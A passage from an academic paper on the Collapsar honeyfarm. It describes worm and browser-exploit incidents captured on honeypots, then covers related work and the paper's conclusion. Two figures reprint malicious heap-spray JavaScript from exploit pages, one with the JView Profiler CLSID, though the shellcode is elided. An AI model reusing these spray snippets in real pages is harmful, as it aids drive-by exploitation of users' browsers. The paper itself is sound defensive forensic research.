tools in /tmp/share/flood, which is consistent with the log information generated by the Collapsar
logging module.
Another VMware-based virtual honeypot running the same Samba service was also compromised
by the same IP, and an IRC bot, psyBNC [7], was installed enabling the attacker to remotely control
the compromised honeypot via an IRC network. With VMware support, a snapshot of the honeypot
was taken, demonstrating VMware’s flexibility and convenience for forensic analysis over UML.
6.2.3 A Windows XP/VMware Honeypot
The third incidence was related to the RPC DCOM vulnerability in the Windows Platform. We
deployed a VMware-based virtual honeypot running an unpatched Windows XP Home Edition
operating system in the Collapsar center.
Vulnerability description: Windows DCOM contains a vulnerable Remote Procedure Call (RPC)
interface [24], which can be exploited to run arbitrary code with local system privileges in the
affected system. After a successful compromise, the attacker is free to take any action in the system
including installing programs, modifying data, and creating new accounts with full privileges.
Incident: A honeypot running the unpatched Windows XP was deployed in the Collapsar cen-
ter at 10:10:00PM on 11/26/2003, and was compromised several times on 11/27/2003: one at
00:36:47AM by the MSBlast.A worm [18], one at 01:48:57AM by the Enbiei worm (namely MS-
Blast.F worm), and another at 07:03:55AM by the Nachi worm [23]. Collapsar recorded all impor-
tant log information covering the infection process of each worm. The complete log is available at
[21].
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Fig. 7. Screenshot re-constructed from honeypot snapshot: successful break-in by MSBlast and Nachi worms
For each worm, an initial TCP connection was established with port 135 in the Windows XP
honeypot (Nachi worm will use an ICMP echo request to test whether the target is alive before
the TCP connection attempt). To the worm, a successful connection is an indication of possible
existence of RPC vulnerability. Once the connection had been established, a malicious packet
(in fact, two TCP segments) was sent, which caused stack buffer overflow in the RPC interface
implementing DCOM services. The malicious code contained a port-binding shell-code, which
would listen on TCP port 4444. After a shell was invoked, each worm downloaded and executed a
copy of itself, completing one round of worm propagation.
The MSBlast and Enbiei worms mounted Denial of Service (DoS) attacks against two specific web
sites, respectively. Interestingly, the Nachi worm tried to terminate and delete the MSBlast worm.
In addition, after installing tftpd.exe, the TCP/IP trivial file transfer daemon, the Nachi worm tried
to download and install an RPC DCOM vulnerability patch named WindowsXP-KB823980-x86-
ENU.exe, so that no other worms or attacks could break into the system by exploiting the same
vulnerability.
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Backdoor in action: Figure 7 shows a screenshot re-constructed from the honeypot’s snapshot. It
illustrates the running of Enbiei and Nachi worms. The original MSBlast worm has been terminated
and deleted by the Nachi worm, which is the reason why no MSBlast process can be found in the
screenshot. These worms also generated a large volume of scanning packets (ICMP echo request
packets and TCP connection attempts to port 139 of other hosts), which were mitigated by the
Collapsar tarpitting module.
Forensic analysis: After disconnecting the infected honeypot from the Collapsar center, a quick
examination revealed the following files: enbiei.exe in directory C:\WINDOWS\system32\ and
SVCHOST.exe and DLLHOST.exe in directory C:\WINDOWS\system32\wins\. File enbiei.exe
corresponds to the Enbiei worm; while SVCHOST.exe and DLLHOST.exe are for the Nachi worm.
We also expected that file msblast.exe would exist in C:\WINDOWS\system32\ . However, it had
been deleted by the Nachi worm.
6.3 Client-Side Honeypot Incidents
The previous three attack incidents were captured by the server-side honeypots in Collapsar. In the
following, we present two attacks captured by the client-side honeypots in Collapsar.
6.3.1 A Windows XP/VMware Client-Side Honeypot
The fourth incidence is related to the Internet Explorer (IE) JView Profiler Vulnerability (MS05-
037/CVE-2005-2087) on the Windows platform. We deployed a VMware-based client-side hon-
eypot running an unpatched Windows XP system with the default IE web browser in the Collapsar
center.
Vulnerability description: As described in CVE-2005-2087 [1], Internet Explorer 6.0.2900.2180
on Windows XP allows remote attackers to cause a denial of service (application crash) and execute
arbitrary code via a web page with embedded CLSIDs that reference certain COM objects that are
not ActiveX controls. An example of non-ActiveX control is the JVIEW Profiler (Javaprxy.dll).
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Incident: The client-side honeypot running the unpatched Windows IE was deployed in the Col-
lapsar center at 08:10:00PM on 9/26/2005 and was driven to visit a URL, which we anonymized
as http://www.superxxxxx.com/xxxxxxx/yes.html. Right after the visit, the wallpaper (shown in Fig-
ure 8(a)) of the honeypot’s desktop displayed a warning that the system was infected with spyware.
One minute later, an “uninvited” software named SpySheriff was installed without user permission
and ironically began to scan the local disk to remove possible spyware! The screenshot with its
scanning activity is shown in Figure 8(b).
Forensic analysis: The honeypot was disconnected right after the anomaly was observed. With the
help of Collapsar logging module, we were able to identify the cause and damages of this intru-
sion. More specifically, Figure 9 displays the malicious javascript snip from the exploit URL. The
highlighted CLSID, which refers to the Javaprxy.dll COM object, was unsafely initiated to exploit
the JView Profiler vulnerability. The successful exploitation resulted in the execution of an embed-
ded attack code (Figure 9), which replaced the desktop wallpaper (Figure 8(a)) and connected to
another web server to download and install the SpySheriff program (Figure 8(b)).
6.3.2 Another Windows XP/VMware Client-Side Honeypot
The fifth incidence is also related to the Internet Explorer (IE) browser but involving another vul-
nerability: DHTML Method Heap Memory Corruption (MS05-014/CAN-2005-0055). A VMware-
based client-side honeypot running an unpatched Windows XP system with the default IE web
browser was deployed in the Collapsar center.
Vulnerability description: The unpatched IE browser contained a bug in its handling of certain
DHTML methods. An attacker could exploit the vulnerability by constructing a malicious web
page and alluring a user to visit it. A successful exploitation of this vulnerability could allow
attackers to take complete control of the compromised system [5].
Incident: The client-side honeypot running the unpatched Windows IE was deployed in the Col-
lapsar center at 09:35:00PM on 10/06/2005, and was driven to visit a URL, anonymized as
http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html. After the visit, a total of 22 programs were installed
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(a) The first screenshot: the desktop wallpaper
was replaced
(b) The second screenshot: an “unwanted” software was installed and launched
Fig. 8. Screenshots re-constructed from honeypot snapshot after visiting a malicious URL
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<SCRIPT language="javascript">
  shellcode = unescape("%u4343"+"%u4343"+"%u4040%u4040......%u98ff");
  bigblock = unescape("%u0D0D%u0D0D");
  headersize = 20; slackspace = headersize+shellcode.length
  while (bigblock.length<slackspace) 
       bigblock+=bigblock;
  fillblock = bigblock.substring(0, slackspace);
  block = bigblock.substring(0, bigblock.length-slackspace);
  while(block.length+slackspace<0x40000) 
       block = block+block+fillblock;
  memory = new Array();
  for (i=0;i<750;i++) 
       memory[i] = block + shellcode;
</SCRIPT>
 <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
Fig. 9. Malicious javascript snip from the exploit URL
in the honeypot without user permission!
Forensic analysis: Forensic analysis showed that this intrusion was rather obfuscated - the ac-
tual exploiting code taking advantage of the IE DHTML Heap Memory Corruption vulnerability
(MS05-014) did not unfold until after four stages of obfuscations: the first stage contained a cus-
tomized javascript decode; the second stage exploited the IE support for dynamically code genera-
tion with the document.write() primitive; the third stages contained another customized javascript
decoder, which was revealed after the first two stages; finally, the fourth stage leveraged the Uni-
code character-set support in IE to make them hard to read. The decoded attack code is shown in
Figure 10: The DHTML method, i.e., createControlRange(), was exploited to cause heap mem-
ory corruption in the IE process and trigger the execution of an embedded well-crafted machine
instruction sequence, which resulted in the installation of the 22 unwanted programs.
6.4 Attack Correlation
The Collapsar center creates exciting opportunities to perform correlation and mining based attack
analysis. The current Collapsar center hosts only 40 virtual honeypots, still far from a desirable
scale for Internet-wide attack analysis such as early worm detection using server-side honeypots
and large-scale exploit net discovery using client-side honeypots. Nevertheless, current Collapsar




  sc=unescape("%u4040%u4040 ... ... %ufbe6%u9e9e");
  bb=unescape("%u0d0d%u0d0d");
  while(bb.length<0x40000){ bb+=bb }
  bb=bb.substring(0,0x40000-sc.length-28);
  me=new Array();
  for(i=0;i<450;i++){







Fig. 10. Malicious javascript snip from the exploit URL
simple incidences captured.
6.4.1 Stepping Stone Suspect
In the Collapsar log, a honeypot running a vulnerable version of the Apache web server was com-
promised by a remote machine with IP address (anonymized) iii.jjj.kkk.11. A rootkit and a tro-
janed sshd backdoor were then installed in the honeypot. The sshd backdoor was configured with
a password known to the attacker. One minute later, an ssh connection was initiated from a dif-
ferent remote IP address xx.yyy.zzz.3 using the same password! There is a possibility that machine
iii.jjj.kkk.11 had itself been compromised before the attack on the honeypot running the Apache
server was launched. This interesting log information is shown in Figure 11. We note that such ev-
idence is by no means sufficient to confirm a stepping stone [49] case. However, with wider range
of target networks and longer duration of log accumulation, a future Collapsar center will be able
to detect stepping stones and trace back original attackers with high confidence.
6.4.2 Network Scanning
Network scanning has become common, with the existence of various scanning methods such as
ping sweeping, port knocking, OS finger-printing, and firewalking. Figure 12 shows the ICMP
(ping) sweeping activity from the same source address (xx.yy.zzz.125) against three honeypots
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 /* Exploit codes for Apache Chunk Handling Vulnerability */ 
... ... 
 
17:45:43.014405 iii.jjj.kkk.11.4775 > aaa.bb.c.125.443: P 790:797(7) ack 5340 
win 34880 <nop,nop,timestamp 22920631 5764072> (DF) 
0x0000   4500 003b 71ef 4000 3306 fa74 cbc6 860b        E..;q.@.3..t.... 
0x0010   800a 097d 12a7 01bb 9b4c ee60 9b51 2c3e        ...}.....L.`.Q,> 
0x0020   8018 8840 e50e 0000 0101 080a 015d bdb7        ...@.........].. 
0x0030   0057 f3e8 2e2f 696e 7374 0a                    .W.../inst. 
 
... ... 
/* SSH connection against sshd backdoor from another different IP! */ 
17:46:46.104626 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: S 
389507617:389507617(0) win 8760 <mss 536,nop,nop,sackOK> (DF) 
0x0000  4500 0030 1ac2 4000 6f06 30b7 51c4 e503 E..0..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a21 0000 0000 ...}.f...7j!.... 
0x0020  7002 2238 16a3 0000 0204 0218 0101 0402 p."8............ 
17:46:46.105445 aaa.bb.c.125.cfinger > xx.yyy.zzz.3.1126: S 
2758367448:2758367448(0) ack 389507618 win 5840 <mss 1460,nop,nop,sackOK> (DF) 
0x0000  4500 0030 0000 4000 4006 7a79 800a 097d E..0..@.@.zy...} 
0x0010  51c4 e503 07d3 0466 a469 58d8 1737 6a22 Q......f.iX..7j" 
0x0020  7012 16d0 211c 0000 0204 05b4 0101 0402 p...!........... 
17:46:46.422319 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: . ack 1 win 9112 
(DF) 
0x0000  4500 0028 1ac3 4000 6f06 30be 51c4 e503 E..(..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a22 a469 58d9 ...}.f...7j".iX. 
0x0020  5010 2398 4118 0000 4100 0000 0000      P.#.A...A..... 
17:46:46.728800 aaa.bb.c.125.cfinger > xx.yyy.zzz.3.1126: P 1:16(15) ack 1 win 
5840 (DF) [tos 0x10]  
0x0000  4510 0037 55d5 4000 4006 248d 800a 097d E..7U.@.@.$....} 
0x0010  51c4 e503 07d3 0466 a469 58d9 1737 6a22 Q......f.iX..7j" 
0x0020  5018 16d0 ac5b 0000 5353 482d 312e 352d P....[..SSH-1.5- 
0x0030  312e 322e 3235 0a                       1.2.25. 
17:46:47.050246 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: P 1:28(27) ack 16 
win 9097 (DF) 
0x0000  4500 0043 1ac5 4000 6f06 30a1 51c4 e503 E..C..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a22 a469 58e8 ...}.f...7j".iX. 
0x0020  5018 2389 4c55 0000 5353 482d 312e 352d P.#.LU..SSH-1.5- 
0x0030  5075 5454 592d 5265 6c65 6173 652d 302e PuTTY-Release-0. 
0x0040  3533 0a                                 53. 
Fig. 11. Collapsar log showing a possible stepping stone attack
 
14:49:44.139231 xx.yy.zzz.125 > aaa.bb.9.126: icmp: echo request 
0x0000   4500 005c 30de 0000 7301 0798 0c26 797d        E..\0...s....&y} 
0x0010   800a 097e 0800 95dc 0200 0ace aaaa aaaa        ...~............ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa                                           .. 
14:50:21.853938 xx.yy.zzz.125 > ccc.dd.8.32: icmp: echo request 
0x0000   4500 005c 2ece 0000 7301 0b06 0c26 797d        E..\....s....&y} 
0x0010   800a 0820 0800 f2dd 0200 adcc aaaa aaaa        ................ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa     
14:50:50.970419 xx.yy.zzz.125 > eee.ff.21.9: icmp: echo request 
0x0000   4500 005c 3e04 0000 7301 eee6 0c26 797d        E..\>...s....&y} 
0x0010   800a 1509 0800 16d1 0200 89d9 aaaa aaaa        ................ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa                   
Fig. 12. Collapsar log showing an ICMP sweeping scan
within a very short period of time (1.0 second). The honeypots are virtually present in three differ-




Honeyd [40] is one of the most comparable projects with respect to support for multiple honey-
pots and traffic diversion. Simulating multiple virtual computer systems at the network level with
different personality engines, honeyd is able to deceive network fingerprinting tools and provide
arbitrary routing topologies and services for an arbitrary number of virtual systems. The most ob-
vious difference between honeyd and Collapsar is that honeyd is a low-interaction virtual honeypot
framework, while all honeypots in Collapsar are high-interaction virtual machines. Honeyd is more
scalable than Collapsar, because every computer system in honeyd is simulated. On the other hand,
with high-interaction honeypots, Collapsar is able to provide a more authentic environment for at-
tackers to interact with and has a potential for capturing attacks with zero-day exploits.
Network Telescope [39] is an architecture that provides distributed presence for the detection of
global-scale security incidents. Using similar architectures, both iSink [48] and Netbait [26] run
a set of simplified network services in participating machines. The services will log all incoming
requests and aggregate log data in a centralized server, so that pattern matching techniques can
be applied to identify well-known signatures of worms and viruses. None of Network Telescope,
iSink, and Netbait involves real-time traffic diversion mechanisms. They either perform passive
monitoring or provide limited interactivity with attackers. The Internet Storm Center [3] is an effort
at SANS institute to gather log data from participating intrusion detection sensors. The sensors are
distributed around the world. However, this system does not present an interactive environment to
attackers, nor is it capable of real-time attack traffic diversion.
Potemkin [46] is another highly related project which aims at creating a high-interaction hon-
eyfarm with high fidelity as well as scalability. Although the original Collapsar (without reverse
honeyfarm support) [34] first demonstrated the feasibility of the honeyfarm vision, Potemkin, via
aggressive memory sharing and late binding of resources, significantly improves honeyfarm’s scal-
ability by up to six orders of magnitude while still preserving the honeypots’ fidelity in emulating
the behavior of real-world hosts on the Internet. The current Potemkin prototype leverages Xen
[25] virtual machine platform, which requires open-source access and modification to the guest
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operating systems. It is not clear how close-source commercial operating systems such as Win-
dows can be supported by Potemkin.
Both Strider HoneyMonkey [47] and Honeyclient [2] projects are among the first to propose and
implement client-side honeypots. Different from server-side honeypots, client-side honeypots face
the challenge of maintaining wide network coverage. To achieve wide coverage, client-side hon-
eypots crawl the Web to reveal possible exploits of client-side software. Unfortunately, the effec-
tiveness of client-side honeypots may decrease over time, once the “launching” domain of the
honeypots is blacklisted by the malicious servers. Collapsar nicely addresses this problem by real-
izing the reverse honeyfarm vision, so that client requests from the reverse honeyfarm will appear
to the servers as coming from many different network domains.
Leveraging the power of individual honeypots, there have been significant advances in recent years
in attack detection, logging, and analysis. Among the most notable are VM-based retrospection
[29], Backtracker [36], ReVirt [28], and Forensix [30]. VM-based retrospection [29] is capable of
inspecting inner machine states from a VM monitor. Both Backtracker [36] and Forensix [30] are
able to automatically re-construct attack sequences with the help of system call logging. These sys-
tems are highly effective and can be readily applied to Collapsar to improve the forensics capability
of individual honeypots.
Finally, it has been noted that virtual honeypots based on current VM platforms could expose
certain VM foot-prints [15]. Such deficiency may diminish the value of VM-based honeypots.
This situation has led to another round of “arms race”: Methods such as [37] have been proposed
to minimize VM footprints, although the technique in [37] is VM-specific.
8 Conclusion
We have presented the design, implementation, and evaluation of Collapsar, a virtualization-based
honeyfarm and reverse honeyfarm architecture for network attack capture and detention. Collap-
sar achieves the following salient properties: centralized honeypot management and decentralized
30
honeypot presence. Centralized management ensures consistent, effective operations in deploying,
administering, investigating, and correlating multiple honeypots, while distributed presence pro-
vides a wide diverse view of network attack activities. Real-world deployment and several attack
incidents captured by Collapsar demonstrate its effectiveness and practicality in realizing both the
honeyfarm and reverse honeyfarm visions using one integrated architecture.
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